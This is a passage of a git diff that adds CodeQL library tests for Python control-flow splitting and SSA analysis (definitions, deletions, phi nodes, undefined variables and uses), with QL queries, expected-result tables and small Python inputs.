test.py:270:8:270:14 | ControlFlowNode for UnaryExpr | 1 | +| 270 | split17 | test.py:270:8:270:14 | ControlFlowNode for UnaryExpr | 1 | +| 274 | split17 | test.py:274:8:274:10 | ControlFlowNode for var | 1 | +| 274 | split17 | test.py:274:8:274:10 | ControlFlowNode for var | 1 | +| 278 | split17 | test.py:278:8:278:10 | ControlFlowNode for var | 1 | +| 278 | split17 | test.py:278:8:278:10 | ControlFlowNode for var | 1 | +| 282 | split17 | test.py:282:8:282:10 | ControlFlowNode for var | 1 | +| 282 | split17 | test.py:282:8:282:10 | ControlFlowNode for var | 1 | +| 289 | split18 | test.py:289:8:289:10 | ControlFlowNode for var | 2 | +| 293 | split18 | test.py:293:8:293:22 | ControlFlowNode for Compare | 1 | +| 293 | split18 | test.py:293:8:293:22 | ControlFlowNode for Compare | 2 | +| 297 | split18 | test.py:297:8:297:18 | ControlFlowNode for Compare | 1 | +| 297 | split18 | test.py:297:8:297:18 | ControlFlowNode for Compare | 1 | +| 297 | split18 | test.py:297:8:297:18 | ControlFlowNode for Compare | 1 | +| 301 | split18 | test.py:301:8:301:10 | ControlFlowNode for var | 1 | +| 301 | split18 | test.py:301:8:301:10 | ControlFlowNode for var | 1 | +| 301 | split18 | test.py:301:8:301:10 | ControlFlowNode for var | 1 | +| 305 | split18 | test.py:305:8:305:10 | ControlFlowNode for var | 1 | +| 305 | split18 | test.py:305:8:305:10 | ControlFlowNode for var | 1 | +| 305 | split18 | test.py:305:8:305:10 | ControlFlowNode for var | 1 | +| 311 | split_on_boolean_only | test.py:311:8:311:8 | ControlFlowNode for x | 2 | +| 315 | split_on_boolean_only | test.py:315:8:315:20 | ControlFlowNode for Compare | 1 | +| 315 | split_on_boolean_only | test.py:315:8:315:20 | ControlFlowNode for Compare | 2 | +| 319 | split_on_boolean_only | test.py:319:8:319:8 | ControlFlowNode for x | 1 | +| 319 | split_on_boolean_only | test.py:319:8:319:8 | ControlFlowNode for x | 1 | +| 319 | split_on_boolean_only | test.py:319:8:319:8 | ControlFlowNode for x | 1 | +| 325 | split_on_none_aswell | test.py:325:8:325:8 | ControlFlowNode for x | 2 | +| 329 | split_on_none_aswell | test.py:329:8:329:20 | ControlFlowNode for Compare | 1 | +| 329 | split_on_none_aswell | test.py:329:8:329:20 | ControlFlowNode for Compare | 2 | +| 333 | split_on_none_aswell | test.py:333:8:333:16 | ControlFlowNode for Compare | 1 | +| 333 | split_on_none_aswell | test.py:333:8:333:16 | ControlFlowNode for Compare | 1 | +| 333 | split_on_none_aswell | test.py:333:8:333:16 | ControlFlowNode for Compare | 1 | +| 339 | split_on_or_defn | test.py:339:8:339:10 | ControlFlowNode for var | 2 | +| 341 | split_on_or_defn | test.py:341:8:341:14 | ControlFlowNode for UnaryExpr | 1 | +| 341 | split_on_or_defn | test.py:341:8:341:14 | ControlFlowNode for UnaryExpr | 1 | +| 341 | split_on_or_defn | test.py:341:19:341:26 | ControlFlowNode for Attribute | 2 | +| 350 | split_on_exception | test.py:350:8:350:15 | ControlFlowNode for UnaryExpr | 1 | +| 350 | split_on_exception | test.py:350:8:350:15 | ControlFlowNode for UnaryExpr | 1 | +| 354 | partially_useful_split | test.py:354:8:354:11 | ControlFlowNode for cond | 2 | +| 359 | partially_useful_split | test.py:359:8:359:8 | ControlFlowNode for x | 1 | +| 359 | partially_useful_split | test.py:359:8:359:8 | ControlFlowNode for x | 2 | +| 365 | dont_split_not_useful | test.py:365:8:365:11 | ControlFlowNode for cond | 2 | +| 370 | dont_split_not_useful | test.py:370:8:370:8 | ControlFlowNode for y | 2 | +| 377 | f | test.py:377:8:377:8 | ControlFlowNode for x | 2 | +| 377 | f | test.py:377:14:377:14 | ControlFlowNode for y | 2 | +| 379 | f | test.py:379:8:379:19 | ControlFlowNode for UnaryExpr | 1 | +| 379 | f | test.py:379:8:379:19 | ControlFlowNode for UnaryExpr | 1 | +| 379 | f | test.py:379:8:379:19 | ControlFlowNode for UnaryExpr | 1 | +| 379 | f | test.py:379:13:379:13 | ControlFlowNode for x | 1 | +| 379 | f | test.py:379:13:379:13 | ControlFlowNode for x | 1 | +| 379 | f | test.py:379:18:379:18 | ControlFlowNode for y | 2 | +| 384 | g | test.py:384:8:384:8 | ControlFlowNode for x | 2 | +| 384 | g | test.py:384:14:384:14 | ControlFlowNode for y | 2 | +| 386 | g | test.py:386:8:386:8 | ControlFlowNode for x | 1 | +| 386 | g | test.py:386:8:386:8 | ControlFlowNode for x | 1 | +| 386 | g | test.py:386:13:386:13 | ControlFlowNode for y | 2 | +| 393 | h | test.py:393:10:393:10 | ControlFlowNode for x | 2 | +| 394 | h | test.py:394:10:394:14 | ControlFlowNode for UnaryExpr | 2 | +| 395 | h | test.py:395:10:395:10 | ControlFlowNode for x | 1 | +| 395 | h | test.py:395:10:395:10 | ControlFlowNode for x | 1 | +| 396 | h | test.py:396:10:396:17 | ControlFlowNode for Attribute() | 2 | +| 401 | j | test.py:401:8:401:8 | ControlFlowNode for a | 2 | +| 401 | j | test.py:401:13:401:13 | ControlFlowNode for b | 2 | +| 402 | j | test.py:402:12:402:12 | ControlFlowNode for a | 1 | +| 402 | j | test.py:402:12:402:12 | ControlFlowNode for a | 1 | +| 414 | split_on_strings | test.py:414:8:414:16 | ControlFlowNode for Compare | 2 | +| 414 | split_on_strings | test.py:414:8:414:16 | ControlFlowNode for Compare | 2 | +| 420 | scipy_stylee | test.py:420:12:420:31 | ControlFlowNode for Compare | 2 | +| 421 | scipy_stylee | test.py:421:8:421:15 | ControlFlowNode for Compare | 2 | +| 423 | scipy_stylee | test.py:423:10:423:17 | ControlFlowNode for Compare | 2 | +| 425 | scipy_stylee | test.py:425:10:425:17 | ControlFlowNode for Compare | 2 | +| 433 | odasa_6674 | test.py:433:8:433:29 | ControlFlowNode for dont_understand_this() | 2 | +| 439 | odasa_6674 | test.py:439:12:439:20 | ControlFlowNode for UnaryExpr | 1 | +| 439 | odasa_6674 | test.py:439:12:439:20 | ControlFlowNode for UnaryExpr | 1 | +| 447 | odasa_6625 | test.py:447:8:447:25 | ControlFlowNode for Attribute() | 2 | +| 447 | odasa_6625 | test.py:447:30:447:47 | ControlFlowNode for Attribute() | 2 | +| 449 | odasa_6625 | test.py:449:8:449:18 | ControlFlowNode for Compare | 2 | +| 454 | avoid_redundant_split | test.py:454:8:454:8 | ControlFlowNode for a | 2 | +| 458 | avoid_redundant_split | test.py:458:8:458:8 | ControlFlowNode for x | 1 | +| 458 | avoid_redundant_split | test.py:458:8:458:8 | ControlFlowNode for x | 2 | +| 460 | avoid_redundant_split | test.py:460:8:460:8 | ControlFlowNode for x | 1 | +| 460 | avoid_redundant_split | test.py:460:8:460:8 | ControlFlowNode for x | 2 | +| 468 | avoid_redundant_split | test.py:468:8:468:10 | ControlFlowNode for var | 1 | +| 468 | avoid_redundant_split | test.py:468:8:468:10 | ControlFlowNode for var | 1 | +| 468 | avoid_redundant_split | test.py:468:8:468:10 | ControlFlowNode for var | 1 | +| 468 | avoid_redundant_split | test.py:468:8:468:10 | ControlFlowNode for var | 1 | diff --git a/python/ql/test/library-tests/ControlFlow/splitting/SuccessorCount.ql b/python/ql/test/library-tests/ControlFlow/splitting/SuccessorCount.ql new file mode 100644 index 00000000000..d865d9061c3 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/splitting/SuccessorCount.ql @@ -0,0 +1,9 @@ +import python + +from ControlFlowNode p, Scope s +where +p.getScope() = s and +(exists (p.getATrueSuccessor()) or exists(p.getAFalseSuccessor())) and +s instanceof Function +select +p.getLocation().getStartLine(), s.getName(), p, strictcount(p.getASuccessor()) diff --git a/python/ql/test/library-tests/ControlFlow/splitting/test.py b/python/ql/test/library-tests/ControlFlow/splitting/test.py new file mode 100644 index 00000000000..f01f83f4c5c --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/splitting/test.py @@ -0,0 +1,471 @@ + +def split1(cond): + if cond: + pass + if cond: + pass + +def dont_split1(cond): + if cond: + pass + cond = f() + if cond: + pass + +def dont_split2(cond): + if cond: + pass + for cond in seq: pass + if cond: + pass + + +def split2(): + try: + call() + x = True + except: + x = False + if x: + pass + +def unclear_split3(): + try: # May be arguably better to split here. + call() + x = True + except: + x = False + if cond: # Currently split here + x = False + if x: + pass + +def split4(x): + if x is None: + x = not_none() + c if b else c + return x + +def split_carefully_5(x): + if x is None: + x = not_none() + if x: + pass + return x + + +def dont_split_globals(): + if cond: + pass + call_could_alter_any_global() + if cond: + pass + +def limit_splitting1(a,b,c,d): + if a is None: a = "a" + if b is None: b = "b" + if c is None: c = "c" + if d is None: d = "d" + pass + + + + + + + +def limit_splitting2(a,b,c,d): + if a: + pass + if b: + pass + if c: + pass + if d: + pass + #These should be pruned + if a: + a1 + if b: + b1 + #But not these + if c: + c1 + if d: + d1 + +def split_on_numbers(): + try: + call() + x = -1 + except: + x = 0 + if x: + pass + +def split_try_except_else(): + try: + call() + except: + x = 0 + else: + x = 1 + if x: + pass + +#Example taken from logging module +#Splitting should allow us to deduce that module2 is defined at point of use +def logging(): + try: + import module1 + import module2 + + except ImportError: + module1 = None + + if module1: + inst = module2.Class() + +#Handle 'not' as well. +def split5(): + try: + call() + x = True + except: + x = False + if not x: + pass + +def split6(): + try: + call() + x = True + except: + x = False + if not not x: + pass + +def split7(): + try: + call() + x = not True + except: + x = not False + if x: + pass + +def split8(cond): + if cond: + t = True + else: + t = False + if not cond: + if t: + pass + + +def split9(var): + if var is None: + a1 + else: + a2 + if var is not None: + b1 + else: + b2 + +def split10(var): + if var: + a1 + else: + a2 + if var is not None: + b1 + else: + b2 + +def split11(var): + if var is None: + a1 + else: + a2 + if var: + b1 + else: + b2 + +def dont_split_on_unrelated_variables(var1, var2): + if var1 is None: + a1 + else: + a2 + if var2 is not None: + b1 + else: + b2 + +def split12(): + try: + call() + x = None + except: + import x + if x: + pass + +def split13(): + var = cond() + if var: + a1 + else: + a2 + try: + b1 + finally: + if var: + a3 + + +def split14(): + flag = False + try: + x = something() + except Exception: + 99 + flag = True + if not flag: + #Should be split here + pass + +def split15(var): + if var: + other = 0 + if not var or other.attr: #other looks like it might be undefined, but it is defined. + pass + +def split16(): + x = True + if cond: + x = None + if x: + use(x) + +def dont_split_on_different_ssa(var): + if var: + a1 + else: + a2 + var = func() + if var is not None: + b1 + else: + b2 + +def split17(var): + #Should only be split once + if var: + a1 + else: + a2 + if not var: + b1 + else: + b2 + if var: + c1 + else: + c2 + if var: + d1 + else: + d2 + if var: + e1 + else: + e2 + +def split18(var): + #Should only be split once + if var: + a1 + else: + a2 + if var is not None: #Distinguishes between False and None + b1 + else: + b2 + if var is None: + c1 + else: + c2 + if var: + d1 + else: + d2 + if var: + e1 + else: + e2 + +def split_on_boolean_only(x): + if x: + a1 + else: + a2 + if x is not None: + b1 + else: + b2 + if x: + c1 + else: + c2 + +def split_on_none_aswell(x): + if x: + a1 + else: + a2 + if x is not None: + b1 + else: + b2 + if x is None: + c1 + else: + c2 + +def split_on_or_defn(var): + if var: + obj = thing() + if not var or obj.attr: # obj is defined if reached + x + +def split_on_exception(): + flag = False + try: + x = do_something() + except Exception: + flag = True + if not flag: + x # x is defined here + +def partially_useful_split(cond): + if cond: + x = None + else: + x = something_or_none() + other_stuff() + if x: + a1 + else: + a2 + +def dont_split_not_useful(cond, y): + if cond: + x = None + else: + x = something_or_none() + other_stuff() + if y: + a1 + else: + a2 + +#Splittings with boolean expressions: +def f(x,y): + if x and y: + raise + if not (x or y): + raise + pass + +def g(x,y): + if x and y: + raise + if x or y: + # Either x or y is true here (exclusive). + here + end + +def h(x, y): + if ( + (x and + not y) or + (x and + y.meth()) + ): + pass + +def j(a, b): + if a or b: + if a: + here + else: + there + +def split_on_strings(): + try: + might_fail() + x = "yes+" + except: + x = "no" + #We want to split here, even though we can't (easily) prune + if x == "no": + pass + pass + + +def scipy_stylee(x): + assert x in ("a", "b", "c") + if x == "a": + pass + elif x == "b": + pass + elif x == "c": + pass + else: + #unreachable + pass + +def odasa_6674(x): + valid = True + if dont_understand_this(): + try: + may_raise() + score = 0 + except KeyError: + valid = False + if not valid: + raise ValueError() + else: + score = 1 + return score + +def odasa_6625(k): + value = "hi" + if k.endswith('_min') or k.endswith('_max'): + value = 0 + if k == 'tags': + return value + " there" + + +def avoid_redundant_split(a): + if a: # Should split here + x = unknown_thing() + else: + x = None + if x: # but not here, + pass + if x: # or here, because + pass + other_stuff() + try: # we want to split here + import foo + var = True + except: + var = False + if var: + foo.bar() + + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/defns/test.expected b/python/ql/test/library-tests/ControlFlow/ssa/defns/test.expected new file mode 100644 index 00000000000..1860e4f280f --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/defns/test.expected @@ -0,0 +1,31 @@ +| test1.py | SSA Variable l0 | 6 | test1.py:6:5:6:6 | SSA Variable l0 | 6 | +| test1.py | SSA Variable l1 | 7 | test1.py:7:5:7:6 | SSA Variable l1 | 7 | +| test1.py | SSA Variable l2 | 8 | test1.py:8:5:8:6 | SSA Variable l2 | 8 | +| test1.py | SSA Variable no_phi | 5 | test1.py:5:5:5:10 | SSA Variable no_phi | 5 | +| test2.py | SSA Variable cond | 5 | test2.py:5:5:5:8 | SSA Variable cond | 5 | +| test2.py | SSA Variable l0 | 7 | test2.py:7:9:7:10 | SSA Variable l0 | 7 | +| test2.py | SSA Variable l0 | 9 | test2.py:9:9:9:10 | SSA Variable l0 | 9 | +| test2.py | SSA Variable l0 | 10 | test2.py:7:9:7:10 | SSA Variable l0 | 7 | +| test2.py | SSA Variable l0 | 10 | test2.py:9:9:9:10 | SSA Variable l0 | 9 | +| test2.py | SSA Variable with_phi | 4 | test2.py:4:5:4:12 | SSA Variable with_phi | 4 | +| test3.py | SSA Variable l0 | 9 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | SSA Variable l0 | 9 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | SSA Variable l0 | 11 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | SSA Variable l0 | 11 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | SSA Variable l0 | 13 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | SSA Variable l0 | 13 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | SSA Variable phi_in_try | 4 | test3.py:4:5:4:14 | SSA Variable phi_in_try | 4 | +| test4.py | SSA Variable del1 | 2 | test4.py:2:5:2:8 | SSA Variable del1 | 2 | +| test4.py | SSA Variable del2 | 8 | test4.py:8:5:8:8 | SSA Variable del2 | 8 | +| test4.py | SSA Variable x | 3 | test4.py:3:5:3:5 | SSA Variable x | 3 | +| test4.py | SSA Variable x | 5 | test4.py:5:5:5:5 | SSA Variable x | 5 | +| test4.py | SSA Variable x | 9 | test4.py:9:5:9:5 | SSA Variable x | 9 | +| test4.py | SSA Variable x | 11 | test4.py:11:13:11:13 | SSA Variable x | 11 | +| test4.py | SSA Variable x | 13 | test4.py:13:9:13:9 | SSA Variable x | 13 | +| test4.py | SSA Variable x | 14 | test4.py:11:13:11:13 | SSA Variable x | 11 | +| test4.py | SSA Variable x | 14 | test4.py:13:9:13:9 | SSA Variable x | 13 | +| test5.py | SSA Variable a | 0 | test5.py:4:9:4:9 | SSA Variable a | 4 | +| test5.py | SSA Variable a | 0 | test5.py:9:9:9:9 | SSA Variable a | 9 | +| test5.py | SSA Variable a | 4 | test5.py:4:9:4:9 | SSA Variable a | 4 | +| test5.py | SSA Variable a | 9 | test5.py:9:9:9:9 | SSA Variable a | 9 | +| test6.py | SSA Variable a | 4 | test6.py:4:9:4:9 | SSA Variable a | 4 | diff --git a/python/ql/test/library-tests/ControlFlow/ssa/defns/test.ql b/python/ql/test/library-tests/ControlFlow/ssa/defns/test.ql new file mode 100644 index 00000000000..c8ce2855455 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/defns/test.ql @@ -0,0 +1,6 @@ +import python + +from SsaVariable var, SsaVariable def +where def = var.getAnUltimateDefinition() +select var.getLocation().getFile().getShortName(), +var.toString(), var.getLocation().getStartLine(), def, def.getLocation().getStartLine() diff --git a/python/ql/test/library-tests/ControlFlow/ssa/defns/test1.py b/python/ql/test/library-tests/ControlFlow/ssa/defns/test1.py new file mode 100644 index 00000000000..d6fe26089b0 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/defns/test1.py @@ -0,0 +1,10 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + + +def no_phi(cond): + l0 = 0 + l1 = 1 + l2 = l0 + l1 + return l2 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/defns/test2.py b/python/ql/test/library-tests/ControlFlow/ssa/defns/test2.py new file mode 100644 index 00000000000..d02c4c370bb --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/defns/test2.py @@ -0,0 +1,11 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + +def with_phi( + cond): + if cond: + l0 = 0 + else: + l0 = 1 + return l0 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/defns/test3.py b/python/ql/test/library-tests/ControlFlow/ssa/defns/test3.py new file mode 100644 index 00000000000..ce2d9ac920e --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/defns/test3.py @@ -0,0 +1,14 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + +def phi_in_try(): + try: + try: + a_call() + finally: + l0 = 0 + another_call() + except: + pass + return l0 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/defns/test4.py b/python/ql/test/library-tests/ControlFlow/ssa/defns/test4.py new file mode 100644 index 00000000000..1f4426514a2 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/defns/test4.py @@ -0,0 +1,15 @@ + +def del1(): + x = 0 + del x + x = 0 + return x + +def del2(): + x = 0 + if random(): + del x + else: + x = 1 + return x + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/defns/test5.py b/python/ql/test/library-tests/ControlFlow/ssa/defns/test5.py new file mode 100644 index 00000000000..8f900254ec6 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/defns/test5.py @@ -0,0 +1,11 @@ + +if x: + + def a(): + pass + +else: + + def a(): + pass + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/defns/test6.py b/python/ql/test/library-tests/ControlFlow/ssa/defns/test6.py new file mode 100644 index 00000000000..d148a5c745b --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/defns/test6.py @@ -0,0 +1,6 @@ + +if x: + + def a(): + pass + del a diff --git a/python/ql/test/library-tests/ControlFlow/ssa/deletions/test.expected b/python/ql/test/library-tests/ControlFlow/ssa/deletions/test.expected new file mode 100644 index 00000000000..a80d1fe8beb --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/deletions/test.expected @@ -0,0 +1,6 @@ +| 5 | ControlFlowNode for cond | cond | other | +| 7 | ControlFlowNode for u2 | u2 | delete | +| 10 | ControlFlowNode for u3 | u3 | delete | +| 10 | ControlFlowNode for use | use | other | +| 18 | ControlFlowNode for u2 | u2 | delete | +| 21 | ControlFlowNode for u3 | u3 | delete | \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/ssa/deletions/test.py b/python/ql/test/library-tests/ControlFlow/ssa/deletions/test.py new file mode 100644 index 00000000000..16f19232643 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/deletions/test.py @@ -0,0 +1,21 @@ +from mod import cond + +del u1 + +if cond: + u2 = 0 +del u2 + +del u3 +use(u3) + + +def f(): + del u1 + + if cond: + u2 = 0 + del u2 + + del u3 + use(u3) \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/ssa/deletions/test.ql b/python/ql/test/library-tests/ControlFlow/ssa/deletions/test.ql new file mode 100644 index 00000000000..b220553d07b --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/deletions/test.ql @@ -0,0 +1,14 @@ +import python + + +from SsaVariable v, string kind, ControlFlowNode use, int line +where use = v.getAUse() and +( + kind = "delete" and v.getDefinition().isDelete() + or + kind = "other " and not v.getDefinition().isDelete() +) +and line = use.getLocation().getStartLine() +and line != 0 + +select line, use.toString(), v.getId(), kind diff --git a/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/phi_input_test.expected b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/phi_input_test.expected new file mode 100644 index 00000000000..ffdf9771e91 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/phi_input_test.expected @@ -0,0 +1,12 @@ +| test2.py | SSA Variable l0 | 10 | test2.py:7:9:7:10 | SSA Variable l0 | 7 | 7 | +| test2.py | SSA Variable l0 | 10 | test2.py:9:9:9:10 | SSA Variable l0 | 9 | 9 | +| test2.py | SSA Variable l1 | 19 | test2.py:14:5:14:6 | SSA Variable l1 | 14 | 16 | +| test2.py | SSA Variable l1 | 19 | test2.py:18:9:18:10 | SSA Variable l1 | 18 | 18 | +| test3.py | SSA Variable l0 | 11 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | 10 | +| test3.py | SSA Variable l0 | 11 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | 10 | +| test3.py | SSA Variable l0 | 13 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | 10 | +| test3.py | SSA Variable l0 | 13 | test3.py:11:5:11:11 | SSA Variable l0 | 11 | 12 | +| test4.py | SSA Variable x | 14 | test4.py:11:13:11:13 | SSA Variable x | 11 | 11 | +| test4.py | SSA Variable x | 14 | test4.py:13:9:13:9 | SSA Variable x | 13 | 13 | +| test5.py | SSA Variable a | 0 | test5.py:4:9:4:9 | SSA Variable a | 4 | 4 | +| test5.py | SSA Variable a | 0 | test5.py:9:9:9:9 | SSA Variable a | 9 | 9 | diff --git a/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/phi_input_test.ql b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/phi_input_test.ql new file mode 100644 index 00000000000..5cfb210da24 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/phi_input_test.ql @@ -0,0 +1,7 @@ +import python + +from SsaVariable var, SsaVariable arg, BasicBlock pred +where pred = var.getPredecessorBlockForPhiArgument(arg) +select var.getLocation().getFile().getShortName(), +var.toString(), var.getLocation().getStartLine(), arg, arg.getLocation().getStartLine(), pred.getLastNode().getLocation().getStartLine() + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test.expected b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test.expected new file mode 100644 index 00000000000..53dd0482533 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test.expected @@ -0,0 +1,12 @@ +| test2.py | SSA Variable l0 | 10 | test2.py:7:9:7:10 | SSA Variable l0 | 7 | +| test2.py | SSA Variable l0 | 10 | test2.py:9:9:9:10 | SSA Variable l0 | 9 | +| test2.py | SSA Variable l1 | 19 | test2.py:14:5:14:6 | SSA Variable l1 | 14 | +| test2.py | SSA Variable l1 | 19 | test2.py:18:9:18:10 | SSA Variable l1 | 18 | +| test3.py | SSA Variable l0 | 11 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | SSA Variable l0 | 11 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | SSA Variable l0 | 13 | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | SSA Variable l0 | 13 | test3.py:11:5:11:11 | SSA Variable l0 | 11 | +| test4.py | SSA Variable x | 14 | test4.py:11:13:11:13 | SSA Variable x | 11 | +| test4.py | SSA Variable x | 14 | test4.py:13:9:13:9 | SSA Variable x | 13 | +| test5.py | SSA Variable a | 0 | test5.py:4:9:4:9 | SSA Variable a | 4 | +| test5.py | SSA Variable a | 0 | test5.py:9:9:9:9 | SSA Variable a | 9 | diff --git a/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test.ql b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test.ql new file mode 100644 index 00000000000..6c4f617e172 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test.ql @@ -0,0 +1,7 @@ +import python + +from SsaVariable var, SsaVariable arg +where arg = var.getAPhiInput() +select var.getLocation().getFile().getShortName(), +var.toString(), var.getLocation().getStartLine(), arg, arg.getLocation().getStartLine() + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test1.py b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test1.py new file mode 100644 index 00000000000..d6fe26089b0 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test1.py @@ -0,0 +1,10 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + + +def no_phi(cond): + l0 = 0 + l1 = 1 + l2 = l0 + l1 + return l2 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test2.py b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test2.py new file mode 100644 index 00000000000..de38a986cee --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test2.py @@ -0,0 +1,19 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + +def with_phi( + cond): + if cond: + l0 = 0 + else: + l0 = 1 + return l0 + +def with_phi2( + cond): + l1 = 0 + if cond: + pass + else: + l1 = 1 + return l1 diff --git a/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test3.py b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test3.py new file mode 100644 index 00000000000..ce2d9ac920e --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test3.py @@ -0,0 +1,14 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + +def phi_in_try(): + try: + try: + a_call() + finally: + l0 = 0 + another_call() + except: + pass + return l0 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test4.py b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test4.py new file mode 100644 index 00000000000..1f4426514a2 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test4.py @@ -0,0 +1,15 @@ + +def del1(): + x = 0 + del x + x = 0 + return x + +def del2(): + x = 0 + if random(): + del x + else: + x = 1 + return x + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test5.py b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test5.py new file mode 100644 index 00000000000..8f900254ec6 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test5.py @@ -0,0 +1,11 @@ + +if x: + + def a(): + pass + +else: + + def a(): + pass + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test6.py b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test6.py new file mode 100644 index 00000000000..d148a5c745b --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/phi-nodes/test6.py @@ -0,0 +1,6 @@ + +if x: + + def a(): + pass + del a diff --git a/python/ql/test/library-tests/ControlFlow/ssa/undefined/test.expected b/python/ql/test/library-tests/ControlFlow/ssa/undefined/test.expected new file mode 100644 index 00000000000..8ca7c0a9309 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/undefined/test.expected @@ -0,0 +1,2 @@ +| 15 | SSA Variable module2 | +| 20 | SSA Variable x | diff --git a/python/ql/test/library-tests/ControlFlow/ssa/undefined/test.py b/python/ql/test/library-tests/ControlFlow/ssa/undefined/test.py new file mode 100644 index 00000000000..fb7420506dc --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/undefined/test.py @@ -0,0 +1,20 @@ +from outside import cond + +try: + import module1 +except ImportError: + quit() + +module1 + +try: + import module2 +except ImportError: + print("Error") + +module2 + +if cond(): + x = 0 + +x diff --git a/python/ql/test/library-tests/ControlFlow/ssa/undefined/test.ql b/python/ql/test/library-tests/ControlFlow/ssa/undefined/test.ql new file mode 100644 index 00000000000..df5df70d827 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/undefined/test.ql @@ -0,0 +1,7 @@ + +import python + +from SsaVariable var +where var.maybeUndefined() +select +var.getDefinition().getLocation().getStartLine(), var.toString() diff --git a/python/ql/test/library-tests/ControlFlow/ssa/uses/test.expected b/python/ql/test/library-tests/ControlFlow/ssa/uses/test.expected new file mode 100644 index 00000000000..6d7ad357cba --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/uses/test.expected @@ -0,0 +1,11 @@ +| test1.py | ControlFlowNode for l0 | 8 | SSA Variable l0 | 6 | +| test1.py | ControlFlowNode for l1 | 8 | SSA Variable l1 | 7 | +| test1.py | ControlFlowNode for l2 | 9 | SSA Variable l2 | 8 | +| test1.py | Exit node for Module test1 | 0 | SSA Variable no_phi | 5 | +| test2.py | ControlFlowNode for cond | 6 | SSA Variable cond | 5 | +| test2.py | ControlFlowNode for l0 | 10 | SSA Variable l0 | 10 | +| test2.py | Exit node for Module test2 | 0 | SSA Variable with_phi | 4 | +| test3.py | ControlFlowNode for l0 | 13 | SSA Variable l0 | 13 | +| test3.py | Exit node for Module test3 | 0 | SSA Variable phi_in_try | 4 | +| test5.py | Exit node for Module test5 | 0 | SSA Variable a | 0 | +| test6.py | ControlFlowNode for a | 6 | SSA Variable a | 4 | diff --git a/python/ql/test/library-tests/ControlFlow/ssa/uses/test.ql b/python/ql/test/library-tests/ControlFlow/ssa/uses/test.ql new file mode 100644 index 00000000000..9a3f4e92452 --- /dev/null +++ 